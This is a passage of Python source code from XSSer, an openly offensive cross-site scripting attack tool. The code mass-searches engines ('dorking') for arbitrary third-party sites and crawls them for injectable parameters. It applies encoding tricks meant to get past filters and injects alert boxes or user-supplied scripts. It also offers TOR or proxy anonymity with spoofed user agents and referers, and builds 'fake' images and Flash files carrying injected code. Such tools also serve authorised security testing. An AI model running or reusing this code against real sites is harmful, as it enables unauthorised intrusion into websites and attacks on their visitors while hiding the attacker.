  1952. payload_string = payload["payload"].replace("PAYLOAD", key)
  1953. hashed_payload = self.encoding_permutations(payload_string)
  1954. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1955. hashed_payload = hashed_payload.replace(";", "%3B")
  1956. if str(hashed_payload) in str(dest_url):
  1957. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1958. else:
  1959. if self.options.Cem:
  1960. enc_perm = options.Cem.split(",")
  1961. payload_string = payload["payload"].replace("PAYLOAD", key)
  1962. for e in enc_perm:
  1963. hashed_payload = self.encoding_permutations(payload_string)
  1964. if str(e) == "Str":
  1965. hashed_payload = hashed_payload.replace(",", "%2C")
  1966. if e == "Mix":
  1967. hashed_payload=urllib.parse.quote(hashed_payload)
  1968. if e == "Dec":
  1969. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1970. if e == "Hex":
  1971. hashed_payload = hashed_payload.replace("%", "%25")
  1972. if e == "Hes":
  1973. hashed_payload = hashed_payload.replace("&#", "%26%23")
  1974. hashed_payload = hashed_payload.replace(";", "%3B")
  1975. if str(hashed_payload) in str(dest_url):
  1976. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1977. else:
  1978. if str(key) in str(dest_url):
  1979. self.add_failure(dest_url, payload, key, query_string, orig_url, value) # failed!
  1980. else:
  1981. if key in current_hashes:
  1982. if method == "xsa":
  1983. self.add_failure(dest_url, payload, key, query_string, orig_url, "XSA") # failed!
  1984. elif method == "xsr":
  1985. self.add_failure(dest_url, payload, key, query_string, orig_url, "XSR") # failed!
  1986. elif method == "coo":
  1987. self.add_failure(dest_url, payload, key, query_string, orig_url, "COO") # failed!
  1988. self.report("\n" +"="*45)
  1989. if str(curl_handle.info()["http-code"]) == "404":
  1990. self.report("\n[Error] 404 Not Found: The server has not found anything matching the Request-URI\n")
  1991. elif str(curl_handle.info()["http-code"]) == "403":
  1992. self.report("\n[Error] 403 Forbidden: The server understood the request, but is refusing to fulfill it\n")
  1993. elif str(curl_handle.info()["http-code"]) == "400":
  1994. self.report("\n[Error] 400 Bad Request: The request could not be understood by the server due to malformed syntax\n")
  1995. elif str(curl_handle.info()["http-code"]) == "401":
  1996. self.report("\n[Error] 401 Unauthorized: The request requires user authentication\n\nIf you are trying to authenticate: Login is failing!\n\ncheck:\n- authentication type is correct for the type of realm (basic, digest, gss, ntlm...)\n- credentials 'user:password' are typed correctly\n")
  1997. elif str(curl_handle.info()["http-code"]) == "407":
  1998. self.report("\n[Error] 407 Proxy Authentication Required: XSSer must first authenticate itself with the proxy\n")
  1999. elif str(curl_handle.info()["http-code"]) == "408":
  2000. self.report("\n[Error] 408 Request Timeout: XSSer did not produce a request within the time that the server was prepared to wait\n")
  2001. elif str(curl_handle.info()["http-code"]) == "500":
  2002. self.report("\n[Error] 500 Internal Server Error: The server encountered an unexpected condition which prevented it from fulfilling the request\n")
  2003. elif str(curl_handle.info()["http-code"]) == "501":
  2004. self.report("\n[Error] 501 Not Implemented: The server does not support the functionality required to fulfill the request\n")
  2005. elif str(curl_handle.info()["http-code"]) == "502":
  2006. self.report("\n[Error] 502 Bad Gateway: The server received an invalid response from the upstream server\n")
  2007. elif str(curl_handle.info()["http-code"]) == "503":
  2008. self.report("\n[Error] 503 Service Unavailable: The server is currently unable to handle the request [OFFLINE!]\n")
  2009. elif str(curl_handle.info()["http-code"]) == "504":
  2010. self.report("\n[Error] 504 Gateway Timeout: The server did not receive a timely response specified by the URI (try: --ignore-proxy)\n")
  2011. elif str(curl_handle.info()["http-code"]) == "0":
  2012. self.report("\n[Error] XSSer (or your TARGET) is not working properly...\n\n - Firewall\n - Proxy\n - Target offline\n - [?] ...\n")
  2013. else:
  2014. self.report("\n[Error] Not injected!. Server responses with http-code different to: 200 OK (" + str(curl_handle.info()["http-code"]) + ")\n")
  2015. if str(curl_handle.info()["http-code"]) == "404":
  2016. self.not_connection = self.not_connection + 1
  2017. elif str(curl_handle.info()["http-code"]) == "503":
  2018. self.forwarded_connection = self.forwarded_connection + 1
  2019. else:
  2020. self.other_connection = self.other_connection + 1
  2021. def check_positive(self, curl_handle, dest_url, payload, query_string):
  2022. """
  2023. Perform extra check for positives
  2024. """
  2025. body = curl_handle.body()
  2026. pass
  2027. def create_options(self, args=None):
  2028. """
  2029. Create options for OptionParser.
  2030. """
  2031. self.optionParser = XSSerOptions()
  2032. self.options = self.optionParser.get_options(args)
  2033. if not self.options:
  2034. return False
  2035. return self.options
  2036. def _get_attack_urls(self):
  2037. """
  2038. Process payload options and make up the payload list for the attack.
  2039. """
  2040. urls = []
  2041. options = self.options
  2042. p = self.optionParser
  2043. if options.imx:
  2044. self.create_fake_image(options.imx, options.script)
  2045. return []
  2046. if options.flash:
  2047. self.create_fake_flash(options.flash, options.script)
  2048. return []
  2049. if options.update:
  2050. self.report('='*75)
  2051. self.report(str(p.version))
  2052. self.report('='*75)
  2053. try:
  2054. print("\nTrying to update to the latest stable version...\n")
  2055. Updater()
  2056. except:
  2057. print("Not any .git repository found!\n")
  2058. print("="*30)
  2059. print("\nTo have working this feature, you should clone XSSer with:\n")
  2060. print("$ git clone https://code.03c8.net/epsylon/xsser\n")
  2061. print("\nAlso you can try this other mirror:\n")
  2062. print("$ git clone https://github.com/epsylon/xsser\n")
  2063. return []
  2064. if options.wizard: # processing wizard template
  2065. if self.user_template is not None:
  2066. self.options.statistics = True # detailed output
  2067. if self.user_template[0] == "DORKING": # mass-dorking
  2068. self.options.dork_file = True
  2069. self.options.dork_mass = True
  2070. elif "http" in self.user_template[0]: # from target url
  2071. self.options.url = self.user_template[0]
  2072. else: # from file
  2073. self.options.readfile = self.user_template[0]
  2074. if self.user_template[1] == "CRAWLER": # crawlering target
  2075. self.options.crawling = "10"
  2076. else: # manual payload (GET or POST)
  2077. if self.user_template_conntype == "GET":
  2078. self.options.getdata = self.user_template[1]
  2079. else:
  2080. self.options.postdata = self.user_template[1]
  2081. if self.user_template[2] == "Proxy: No - Spoofing: Yes":
  2082. self.options.ignoreproxy = True
  2083. self.options.agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search" # spoof agent
  2084. self.options.referer = "127.0.0.1" # spoof referer
  2085. elif self.user_template[2] == "Proxy: No - Spoofing: No":
  2086. self.options.ignoreproxy = True
  2087. else: # using proxy + spoofing
  2088. self.options.agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search" # spoof agent
  2089. self.options.referer = "127.0.0.1" # spoof referer
  2090. if self.user_template[2] is not None:
  2091. self.options.proxy = self.user_template[2]
  2092. else:
  2093. self.options.ignoreproxy = True
  2094. if self.user_template[3] == "Not using encoders":
  2095. pass
  2096. elif self.user_template[3] == "Hex": # Hexadecimal
  2097. self.options.Hex = True
  2098. elif self.user_template[3] == "Str+Une": # StringFromCharCode()+Unescape()
  2099. self.options.Str = True
  2100. self.options.Une = True
  2101. else: # Character encoding mutations
  2102. self.options.Cem = self.user_template[3]
  2103. if self.user_template[4] == "Alertbox": # Classic AlertBox injection
  2104. self.options.finalpayload = "<script>alert('XSS');</script>"
  2105. else:
  2106. if self.user_template[4] is not None: # Inject user script
  2107. self.options.finalpayload = self.user_template[4]
  2108. else: # not final injection
  2109. pass
  2110. else: # exit
  2111. return
  2112. if options.target: # miau!
  2113. self.report('='*75)
  2114. self.report(str(p.version))
  2115. self.report('='*75)
  2116. self.report("Testing [Full XSS audit]... ;-)")
  2117. self.report('='*75)
  2118. self.report("\n[Info] The following actions will be performed at the end:\n")
  2119. self.report(" 1- Output with detailed statistics\n")
  2120. self.report(" 2- Export results to files: \n\n - a) XSSreport.raw \n - b) XSSer_<target>_<datetime>.xml\n")
  2121. self.options.crawling = "99999" # set max num of urls to crawl
  2122. self.options.crawler_width = "5" # set max num of deeping levels
  2123. self.options.statistics = True # detailed output
  2124. self.options.timeout = "60" # timeout
  2125. self.options.retries = "2" # retries
  2126. self.options.delay = "5" # delay
  2127. self.options.threads = "10" # threads
  2128. self.options.followred = True # follow redirs
  2129. self.options.nohead = False # HEAD check
  2130. self.options.reversecheck = True # try to establish a reverse connection
  2131. self.options.fuzz = True # autofuzzing
  2132. self.options.coo = True # COO
  2133. self.options.xsa = True # XSA
  2134. self.options.xsr = True # XSR
  2135. self.options.dcp = True # DCP
  2136. self.options.dom = True # DOM
  2137. self.options.inducedcode = True # Induced
  2138. self.options.fileoutput = True # Important: export results to file (.raw)
  2139. self.options.filexml = "XSSer_" + str(self.options.target) + "_" + str(datetime.datetime.now())+".xml" # export xml
  2140. self.check_trace() # XST
  2141. urls = [options.target]
  2142. if options.url:
  2143. self.report('='*75)
  2144. self.report(str(p.version))
  2145. self.report('='*75)
  2146. if self.options.crawling:
  2147. self.report("Testing [XSS from CRAWLER]...")
  2148. else:
  2149. self.report("Testing [XSS from URL]...")
  2150. self.report('='*75)
  2151. urls = [options.url]
  2152. elif options.readfile:
  2153. self.report('='*75)
  2154. self.report(str(p.version))
  2155. self.report('='*75)
  2156. self.report("Testing [XSS from FILE]...")
  2157. self.report('='*75)
  2158. try:
  2159. f = open(options.readfile)
  2160. urls = f.readlines()
  2161. urls = [ line.replace('\n','') for line in urls ]
  2162. f.close()
  2163. except:
  2164. import os.path
  2165. if os.path.exists(options.readfile) == True:
  2166. self.report('\nThere are some errors opening the file: ', options.readfile, "\n")
  2167. else:
  2168. self.report('\nCannot found file: ', options.readfile, "\n")
  2169. elif options.dork: # dork a query
  2170. self.report('='*75)
  2171. self.report(str(p.version))
  2172. self.report('='*75)
  2173. self.report("Testing [XSS from DORK]... Good luck! ;-)")
  2174. self.report('='*75)
  2175. if options.dork_mass: # massive dorkering
  2176. for e in self.search_engines:
  2177. try:
  2178. dorker = Dorker(e)
  2179. urls = dorker.dork(options.dork)
  2180. i = 0
  2181. for u in urls: # replace original parameter for injection keyword (XSS)
  2182. p_uri = urlparse(u)
  2183. uri = p_uri.netloc
  2184. path = p_uri.path
  2185. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2186. for key, value in target_params.items(): # parse params to apply keywords
  2187. for v in value:
  2188. target_params[key] = 'XSS'
  2189. target_url_params = urllib.parse.urlencode(target_params)
  2190. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2191. urls[i] = u
  2192. i = i + 1
  2193. except Exception as e:
  2194. for reporter in self._reporters:
  2195. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2196. else:
  2197. if urls is not None:
  2198. for url in urls:
  2199. for reporter in self._reporters:
  2200. reporter.add_link(dorker.search_url, url)
  2201. else:
  2202. if not options.dork_engine:
  2203. options.dork_engine = 'duck' # default search engine [26-08/2019]
  2204. dorker = Dorker(options.dork_engine)
  2205. try:
  2206. urls = dorker.dork(options.dork)
  2207. i = 0
  2208. for u in urls: # replace original parameter for injection keyword (XSS)
  2209. p_uri = urlparse(u)
  2210. uri = p_uri.netloc
  2211. path = p_uri.path
  2212. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2213. for key, value in target_params.items(): # parse params to apply keywords
  2214. for v in value:
  2215. target_params[key] = 'XSS'
  2216. target_url_params = urllib.parse.urlencode(target_params)
  2217. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2218. urls[i] = u
  2219. i = i + 1
  2220. except Exception as e:
  2221. for reporter in self._reporters:
  2222. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2223. else:
  2224. if urls is not None:
  2225. for url in urls:
  2226. for reporter in self._reporters:
  2227. reporter.add_link(dorker.search_url, url)
  2228. elif options.dork_file: # dork from file ('core/fuzzing/dorks.txt')
  2229. self.report('='*75)
  2230. self.report(str(p.version))
  2231. self.report('='*75)
  2232. self.report("Testing [XSS from DORK]... Good luck! ;-)")
  2233. self.report('='*75)
  2234. try:
  2235. f = open('core/fuzzing/dorks.txt')
  2236. dorks = f.readlines()
  2237. dorks = [ dork.replace('\n','') for dork in dorks ]
  2238. f.close()
  2239. if not dorks:
  2240. print("\n[Error] - Imposible to retrieve 'dorks' from file.\n")
  2241. return
  2242. except:
  2243. if os.path.exists('core/fuzzing/dorks.txt') == True:
  2244. print('[Error] - Cannot open:', 'dorks.txt', "\n")
  2245. return
  2246. else:
  2247. print('[Error] - Cannot found:', 'dorks.txt', "\n")
  2248. return
  2249. if not options.dork_engine:
  2250. options.dork_engine = 'duck' # default search engine [26-08/2019]
  2251. if options.dork_mass: # massive dorkering
  2252. for e in self.search_engines:
  2253. try:
  2254. dorker = Dorker(e)
  2255. for dork in dorks:
  2256. urls = dorker.dork(dork)
  2257. i = 0
  2258. for u in urls: # replace original parameter for injection keyword (XSS)
  2259. p_uri = urlparse(u)
  2260. uri = p_uri.netloc
  2261. path = p_uri.path
  2262. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2263. for key, value in target_params.items(): # parse params to apply keywords
  2264. for v in value:
  2265. target_params[key] = 'XSS'
  2266. target_url_params = urllib.parse.urlencode(target_params)
  2267. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2268. urls[i] = u
  2269. i = i + 1
  2270. except Exception as e:
  2271. for reporter in self._reporters:
  2272. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2273. else:
  2274. if urls is not None:
  2275. for url in urls:
  2276. for reporter in self._reporters:
  2277. reporter.add_link(dorker.search_url, url)
  2278. else:
  2279. dorker = Dorker(options.dork_engine)
  2280. try:
  2281. for dork in dorks:
  2282. urls = dorker.dork(dork)
  2283. i = 0
  2284. for u in urls: # replace original parameter for injection keyword (XSS)
  2285. p_uri = urlparse(u)
  2286. uri = p_uri.netloc
  2287. path = p_uri.path
  2288. target_params = parse_qs(urlparse(u).query, keep_blank_values=True)
  2289. for key, value in target_params.items(): # parse params to apply keywords
  2290. for v in value:
  2291. target_params[key] = 'XSS'
  2292. target_url_params = urllib.parse.urlencode(target_params)
  2293. u = p_uri.scheme + "://" + uri + path + "?" + target_url_params
  2294. urls[i] = u
  2295. i = i + 1
  2296. except Exception as e:
  2297. for reporter in self._reporters:
  2298. reporter.mosquito_crashed(dorker.search_url, str(e.message))
  2299. else:
  2300. if urls is not None:
  2301. for url in urls:
  2302. for reporter in self._reporters:
  2303. reporter.add_link(dorker.search_url, url)
  2304. if options.crawling: # crawlering target(s)
  2305. nthreads = options.threads
  2306. self.crawled_urls = list(urls)
  2307. all_crawled = []
  2308. try:
  2309. self.options.crawling = int(self.options.crawling)
  2310. except:
  2311. self.options.crawling = 50
  2312. if self.options.crawler_width == None:
  2313. self.options.crawler_width = 2 # default crawlering-width
  2314. else:
  2315. try:
  2316. self.options.crawler_width = int(self.options.crawler_width)
  2317. except:
  2318. self.options.crawler_width = 2 # default crawlering-width
  2319. if self.options.crawler_local == None:
  2320. self.options.crawler_local = False # default crawlering to LOCAL
  2321. for url in set(urls):
  2322. self.report("\n[Info] Crawlering TARGET:", url, "\n\n - Max. limit: "+ str(self.options.crawling)+ " \n - Deep level: "+ str(options.crawler_width))
  2323. crawler = Crawler(self, Curl, all_crawled,
  2324. self.pool)
  2325. crawler.set_reporter(self)
  2326. # now wait for all results to arrive
  2327. while urls:
  2328. self.run_crawl(crawler, urls.pop(), options)
  2329. while not self._landing:
  2330. for reporter in self._reporters:
  2331. reporter.report_state('broad scanning')
  2332. try:
  2333. self.pool.poll()
  2334. except NoResultsPending:
  2335. crawler.cancel()
  2336. break
  2337. if len(self.crawled_urls) >= int(options.crawling) or not crawler._requests:
  2338. self.report("\n[Info] Found enough results... calling all mosquitoes to home!")
  2339. crawler.cancel()
  2340. break
  2341. time.sleep(0.1)
  2342. # re-parse crawled urls from main
  2343. parsed_crawled_urls = []
  2344. for u in self.crawled_urls:
  2345. if "XSS" in u:
  2346. parsed_crawled_urls.append(u)
  2347. else:
  2348. pass
  2349. self.crawled_urls = parsed_crawled_urls
  2350. # report parsed crawled urls
  2351. self.report("\n" + "-"*25)
  2352. self.report("\n[Info] Mosquitoes have found: [ " + str(len(self.crawled_urls)) + " ] possible attacking vector(s)")
  2353. if self.options.verbose:
  2354. self.report("")
  2355. for u in self.crawled_urls:
  2356. if '/XSS' in u:
  2357. u = u.replace("/XSS", "")
  2358. print(" - " + str(u))
  2359. if len(self.crawled_urls) > 0:
  2360. self.report("")
  2361. else:
  2362. self.report("-"*25)
  2363. self.report("\n[Error] XSSer (or your TARGET) is not working properly...\n\n - Firewall\n - Proxy\n - Target offline\n - [?] ...\n")
  2364. return self.crawled_urls
  2365. if not options.imx or not options.flash or not options.xsser_gtk or not options.update:
  2366. return urls
  2367. def run_crawl(self, crawler, url, options):
  2368. def _cb(request, result):
  2369. pass
  2370. def _error_cb(request, error):
  2371. for reporter in self._reporters:
  2372. reporter.mosquito_crashed(url, str(error[0]))
  2373. if DEBUG == True:
  2374. traceback.print_tb(error[2])
  2375. def crawler_main(args):
  2376. return crawler.crawl(*args)
  2377. crawler.crawl(url, int(options.crawler_width),
  2378. int(options.crawling),options.crawler_local)
  2379. def poll_workers(self):
  2380. try:
  2381. self.pool.poll()
  2382. except NoResultsPending:
  2383. pass
  2384. def try_running(self, func, error, args=[]):
  2385. """
  2386. Try running a function and print some error if it fails and exists with
  2387. a fatal error.
  2388. """
  2389. try:
  2390. return func(*args)
  2391. except Exception as e:
  2392. self.report(error)
  2393. if DEBUG == True:
  2394. traceback.print_exc()
  2395. def check_trace(self):
  2396. """
  2397. Check for Cross Site Tracing (XST) vulnerability:
  2398. 1) check HTTP TRACE method enabled (add 'Max-Forwards: 0' to curl command to bypass some 'Anti-antixst' web proxy rules)
  2399. 2) check data sent on reply
  2400. """
  2401. agents = [] # user-agents
  2402. try:
  2403. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  2404. except:
  2405. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  2406. for line in f:
  2407. agents.append(line)
  2408. agent = random.choice(agents).strip() # set random user-agent
  2409. referer = '127.0.0.1'
  2410. import subprocess, shlex
  2411. self.report('='*75)
  2412. self.report("\n[Info] Trying method: Cross Site Tracing (XST)\n")
  2413. if self.options.xst:
  2414. xst = subprocess.Popen(shlex.split('curl -q -s -i -m 30 -A ' + agent + ' -e ' + referer + ' -X TRACE ' + self.options.xst), stdout=subprocess.PIPE)
  2415. if self.options.target:
  2416. xst = subprocess.Popen(shlex.split('curl -q -s -i -m 30 -A ' + agent + ' -e ' + referer + ' -X TRACE ' + self.options.target), stdout=subprocess.PIPE)
  2417. line1 = xst.stdout.readline()
  2418. if self.options.verbose:
  2419. print("-"*25 + "\n")
  2420. while True:
  2421. line = xst.stdout.readline()
  2422. if line != '':
  2423. print(line.rstrip())
  2424. else:
  2425. break
  2426. self.report("")
  2427. self.report('-'*50+"\n")
  2428. if "200 OK" in line1.rstrip():
  2429. print("[Info] Target is vulnerable to XST! (Cross Site Tracing) ;-)\n")
  2430. else:
  2431. print("[Info] Target is NOT vulnerable to XST (Cross Site Tracing) ;-(\n")
  2432. if self.options.target:
  2433. self.report('='*75)
  2434. def start_wizard(self):
  2435. """
  2436. Start Wizard Helper
  2437. """
  2438. #step 0: Menu
  2439. ans1=True
  2440. ans2=True
  2441. ans3=True
  2442. ans4=True
  2443. ans5=True
  2444. ans6=True
  2445. #step 1: Where
  2446. while ans1:
  2447. print("""\nA)- Where are your targets?\n
  2448. [1]- I want to enter the url of my target directly.
  2449. [2]- I want to enter a list of targets from a .txt file.
  2450. *[3]- I don't know where are my target(s)... I just want to explore! :-)
  2451. [e]- Exit/Quit/Abort.
  2452. """)
  2453. ans1 = input("Your choice: [1], [2], [3] or [e]xit\n")
  2454. if ans1 == "1": # from url
  2455. url = input("Target url (ex: http(s)://target.com): ")
  2456. if url.startswith("http"):
  2457. ans1 = None
  2458. else:
  2459. print("\n[Error] Your url is not valid!. Try again!")
  2460. pass
  2461. elif ans1 == "2": # from file
  2462. url = input("Path to file (ex: 'targets_list.txt'): ")
  2463. if url == None:
  2464. print("\n[Error] Your are not providing a valid file. Try again!")
  2465. pass
  2466. else:
  2467. ans1 = None
  2468. elif ans1 == "3": # dorking
  2469. url = "DORKING"
  2470. ans1 = None
  2471. elif (ans1 == "e" or ans1 == "E"):
  2472. print("Closing wizard...")
  2473. ans1=None
  2474. ans2=None
  2475. ans3=None
  2476. ans4=None
  2477. ans5=None
  2478. ans6=None
  2479. else:
  2480. print("\nNot valid choice. Try again!")
  2481. #step 2: How
  2482. while ans2:
  2483. print(22*"-")
  2484. print("""\nB)- How do you want to connect?\n
  2485. [1]- I want to connect using GET and select some possible vulnerable parameter(s) directly.
  2486. [2]- I want to connect using POST and select some possible vulnerable parameter(s) directly.
  2487. [3]- I want to "crawl" all the links of my target(s) to found as much vulnerabilities as possible.
  2488. *[4]- I don't know how to connect... Just do it! :-)
  2489. [e]- Exit/Quit/Abort.
  2490. """)
  2491. ans2 = input("Your choice: [1], [2], [3], [4] or [e]xit\n")
  2492. if ans2 == "1": # using GET
  2493. payload = input("GET payload (ex: '/menu.php?q='): ")
  2494. if payload == None:
  2495. print("\n[Error] Your are providing an empty payload. Try again!")
  2496. pass
  2497. else:
  2498. self.user_template_conntype = "GET"
  2499. ans2 = None
  2500. elif ans2 == "2": # using POST
  2501. payload = input("POST payload (ex: 'foo=1&bar='): ")
  2502. if payload == None:
  2503. print("\n[Error] Your are providing an empty payload. Try again!")
  2504. pass
  2505. else:
  2506. self.user_template_conntype = "POST"
  2507. ans2 = None
  2508. elif ans2 == "3": # crawlering
  2509. payload = "CRAWLER"
  2510. ans2 = None
  2511. elif ans2 == "4": # crawlering
  2512. payload = "CRAWLER"
  2513. ans2 = None
  2514. elif (ans2 == "e" or ans2 == "E"):
  2515. print("Closing wizard...")
  2516. ans2=None
  2517. ans3=None
  2518. ans4=None
  2519. ans5=None
  2520. ans6=None
  2521. else:
  2522. print("\nNot valid choice. Try again!")
  2523. #step 3: Proxy
  2524. while ans3:
  2525. print(22*"-")
  2526. print("""\nC)- Do you want to be 'anonymous'?\n
  2527. [1]- Yes. I want to use my proxy and apply automatic spoofing methods.
  2528. [2]- Anonymous?. Yes!!!. I have a TOR proxy ready at: http://127.0.0.1:8118.
  2529. *[3]- Yes. But I haven't any proxy. :-)
  2530. [4]- No. It's not a problem for me to connect directly to the target(s).
  2531. [e]- Exit/Quit.
  2532. """)
  2533. ans3 = input("Your choice: [1], [2], [3], [4] or [e]xit\n")
  2534. if ans3 == "1": # using PROXY + spoofing
  2535. proxy = input("Enter proxy [http(s)://server:port]: ")
  2536. ans3 = None
  2537. elif ans3 == "2": # using TOR + spoofing
  2538. proxy = 'Using TOR (default: http://127.0.0.1:8118)'
  2539. proxy = 'http://127.0.0.1:8118'
  2540. ans3 = None
  2541. elif ans3 == "3": # only spoofing
  2542. proxy = 'Proxy: No - Spoofing: Yes'
  2543. ans3 = None
  2544. elif ans3 == "4": # no spoofing
  2545. proxy = 'Proxy: No - Spoofing: No'
  2546. ans3 = None
  2547. elif (ans3 == "e" or ans3 == "E"):
  2548. print("Closing wizard...")
  2549. ans3=None
  2550. ans4=None
  2551. ans5=None
  2552. ans6=None
  2553. else:
  2554. print("\nNot valid choice. Try again!")
  2555. #step 4: Bypasser(s)
  2556. while ans4:
  2557. print(22*"-")
  2558. print("""\nD)- Which 'bypasser(s' do you want to use?\n
  2559. [1]- I want to inject XSS scripts without any encoding.
  2560. [2]- Try to inject code using 'Hexadecimal'.
  2561. [3]- Try to inject code mixing 'String.FromCharCode()' and 'Unescape()'.
  2562. [4]- I want to inject using 'Character Encoding Mutations' (Une+Str+Hex).
  2563. *[5]- I don't know exactly what is a 'bypasser'... But I want to inject code! :-)
  2564. [e]- Exit/Quit.
  2565. """)
  2566. ans4 = input("Your choice: [1], [2], [3], [4], [5] or [e]xit\n")
  2567. if ans4 == "1": # no encode
  2568. enc = "Not using encoders"
  2569. ans4 = None
  2570. elif ans4 == "2": # enc: Hex
  2571. enc = 'Hex'
  2572. ans4 = None
  2573. elif ans4 == "3": # enc: Str+Une
  2574. enc = 'Str+Une'
  2575. ans4 = None
  2576. elif ans4 == "4": # enc: Mix: Une+Str+Hex
  2577. enc = "Une,Str,Hex"
  2578. ans4 = None
  2579. elif ans4 == "5": # enc: no encode
  2580. enc = 'Not using encoders'
  2581. ans4 = None
  2582. elif (ans4 == "e" or ans4 == "E"):
  2583. print("Closing wizard...")
  2584. ans4=None
  2585. ans5=None
  2586. ans6=None
  2587. else:
  2588. print("\nNot valid choice. Try again!")
  2589. #step 5: Exploiting
  2590. while ans5:
  2591. print(22*"-")
  2592. print("""\nE)- Which final code do you want to 'exploit' on vulnerabilities found?\n
  2593. [1]- I want to inject a classic "Alert" message box.
  2594. [2]- I want to inject my own scripts.
  2595. *[3]- I don't want to inject a final code... I just want to discover vulnerabilities! :-)
  2596. [e]- Exit/Quit.
  2597. """)
  2598. ans5 = input("Your choice: [1], [2], [3] or [e]xit\n")
  2599. if ans5 == "1": # alertbox
  2600. script = 'Alertbox'
  2601. ans5 = None
  2602. elif ans5 == "2": # manual
  2603. script = input("Enter code (ex: '><script>alert('XSS');</script>): ")
  2604. if script == None:
  2605. print("\n[Error] Your are providing an empty script to inject. Try again!")
  2606. pass
  2607. else:
  2608. ans5 = None
  2609. elif ans5 == "3": # no exploit
  2610. script = 'Not exploiting code'
  2611. ans5 = None
  2612. elif (ans5 == "e" or ans5 == "E"):
  2613. print("Closing wizard...")
  2614. ans5=None
  2615. ans6=None
  2616. else:
  2617. print("\nNot valid choice. Try again!")
  2618. #step 6: Final
  2619. while ans6:
  2620. print(22*"-")
  2621. print("\nVery nice!. That's all. Your last step is to -accept or not- this template.\n")
  2622. print("A)- Target:", url)
  2623. print("B)- Payload:", payload)
  2624. print("C)- Privacy:", proxy)
  2625. print("D)- Bypasser(s):", enc)
  2626. print("E)- Final:", script)
  2627. print("""
  2628. [Y]- Yes. Accept it and start testing!.
  2629. [N]- No. Abort it?.
  2630. """)
  2631. ans6 = input("Your choice: [Y] or [N]\n")
  2632. if (ans6 == "y" or ans6 == "Y"): # YES
  2633. start = 'YES'
  2634. print('Good fly... and happy "Cross" hacking !!! :-)\n')
  2635. ans6 = None
  2636. elif (ans6 == "n" or ans6 == "N"): # NO
  2637. start = 'NO'
  2638. print("Aborted!. Closing wizard...")
  2639. ans6 = None
  2640. else:
  2641. print("\nNot valid choice. Try again!")
  2642. if url and payload and proxy and enc and script:
  2643. return url, payload, proxy, enc, script
  2644. else:
  2645. return
  2646. def create_fake_image(self, filename, payload):
  2647. """
  2648. Create -fake- image with code injected
  2649. """
  2650. options = self.options
  2651. filename = options.imx
  2652. payload = options.script
  2653. image_xss_injections = ImageInjections()
  2654. image_injections = image_xss_injections.image_xss(options.imx , options.script)
  2655. return image_injections
  2656. def create_fake_flash(self, filename, payload):
  2657. """
  2658. Create -fake- flash movie (.swf) with code injected
  2659. """
  2660. options = self.options
  2661. filename = options.flash
  2662. payload = options.script
  2663. flash_xss_injections = FlashInjections()
  2664. flash_injections = flash_xss_injections.flash_xss(options.flash, options.script)
  2665. return flash_injections
  2666. def create_gtk_interface(self):
  2667. """
  2668. Create GTK Interface
  2669. """
  2670. options = self.options
  2671. from core.gtkcontroller import Controller, reactor
  2672. uifile = "xsser.ui"
  2673. controller = Controller(uifile, self)
  2674. self._reporters.append(controller)
  2675. if reactor:
  2676. reactor.run()
  2677. else:
  2678. from gi.repository import Gtk
  2679. Gtk.main()
  2680. return controller
  2681. def run(self, opts=None):
  2682. """
  2683. Run xsser.
  2684. """
  2685. self.token_arrived_flag = False # used for --reverse-check
  2686. self.success_arrived_flag = False # used for --reverse-check
  2687. self.token_arrived_hash = None # used for --reverse-check
  2688. self.token_arrived_hashes = [] # used for --reverse-check
  2689. for reporter in self._reporters:
  2690. reporter.start_attack()
  2691. if opts:
  2692. options = self.create_options(opts)
  2693. self.set_options(options)
  2694. if not self.hub:
  2695. self.hub = HubThread(self)
  2696. self.hub.start()
  2697. options = self.options
  2698. if options:
  2699. if self.options.hash is True: # not fuzzing/heuristic when hash precheck
  2700. self.options.fuzz = False
  2701. self.options.script = False
  2702. self.options.coo = False
  2703. self.options.xsa = False
  2704. self.options.xsr = False
  2705. self.options.dcp = False
  2706. self.options.dom = False
  2707. self.options.inducedcode = False
  2708. self.options.heuristic = False
  2709. if self.options.heuristic: # not fuzzing/hash when heuristic precheck
  2710. self.options.fuzz = False
  2711. self.options.script = False
  2712. self.options.coo = False
  2713. self.options.xsa = False
  2714. self.options.xsr = False
  2715. self.options.dcp = False
  2716. self.options.dom = False
  2717. self.options.inducedcode = False
  2718. self.options.hash = False
  2719. if self.options.Cem: # parse input at CEM for blank spaces
  2720. self.options.Cem = self.options.Cem.replace(" ","")
  2721. else:
  2722. pass
  2723. try:
  2724. if self.options.imx: # create -fake- image with code injected
  2725. p = self.optionParser
  2726. self.report('='*75)
  2727. self.report(str(p.version))
  2728. self.report('='*75)
  2729. self.report("[Image XSS Builder]...")
  2730. self.report('='*75)
  2731. self.report(''.join(self.create_fake_image(self.options.imx, self.options.script)))
  2732. self.report('='*75 + "\n")
  2733. except:
  2734. return
  2735. if options.flash: # create -fake- flash movie (.swf) with code injected
  2736. p = self.optionParser
  2737. self.report('='*75)
  2738. self.report(str(p.version))
  2739. self.report('='*75)
  2740. self.report("[Flash Attack! XSS Builder]...")
  2741. self.report('='*75)
  2742. self.report(''.join(self.create_fake_flash(self.options.flash, self.options.script)))
  2743. self.report('='*75 + "\n")
  2744. if options.xsser_gtk:
  2745. self.create_gtk_interface()
  2746. return
  2747. if self.options.wizard: # start a wizard helper
  2748. p = self.optionParser
  2749. self.report('='*75)
  2750. self.report(str(p.version))
  2751. self.report('='*75)
  2752. self.report("[Wizard] Generating XSS attack...")
  2753. self.report('='*75)
  2754. self.user_template = self.start_wizard()
